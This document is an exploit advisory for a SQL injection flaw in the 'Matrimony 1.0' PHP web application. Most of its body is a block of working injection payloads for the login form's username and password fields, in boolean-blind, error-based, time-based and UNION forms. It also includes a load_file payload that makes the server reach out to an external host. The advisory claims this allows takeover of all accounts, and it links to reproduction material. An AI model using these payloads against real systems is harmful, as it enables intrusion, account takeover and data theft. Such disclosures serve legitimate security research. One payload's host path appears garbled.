## Title: Matrimony 1.0 SQLi
## Author: nu11secur1ty
## Date: 03.05.2022
## Vendor: https://www.vetbossel.in/matrimony-project-php/
## Software: https://cutt.ly/LOHzKd0,
https://www.vetbossel.in/matrimony-project-php/
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony

## Description:
The password parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'
was submitted in the password parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
The attacker can take administrator account control and also of all
accounts on this system,
also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-5824' OR 4197=4197--
jrsh&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: username=VbMOEEMf' AND (SELECT 2589 FROM(SELECT
COUNT(*),CONCAT(0x7178706b71,(SELECT
(ELT(2589=2589,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)--
gXFR&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=VbMOEEMf' AND (SELECT 4030 FROM
(SELECT(SLEEP(5)))ciQI)-- nHot&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: username=-4629' UNION ALL SELECT
CONCAT(0x7178706b71,0x505747504a524d546e7842785156787361686c546c6e695873646952794a545770586447467a4d6b,0x71706a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL--
-&password=i0C!o0b!U4'+(select
load_file('\\\\bo32v79e9rueo92n0wra9a1d74dx1xposckzbn0.https://www.vetbossel.in/matrimony-project-php/\\qou'))+'&op=Log
in
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/vetbossel.in/2022/Matrimony)

## Proof and Exploit:
[href](https://streamable.com/7gggih)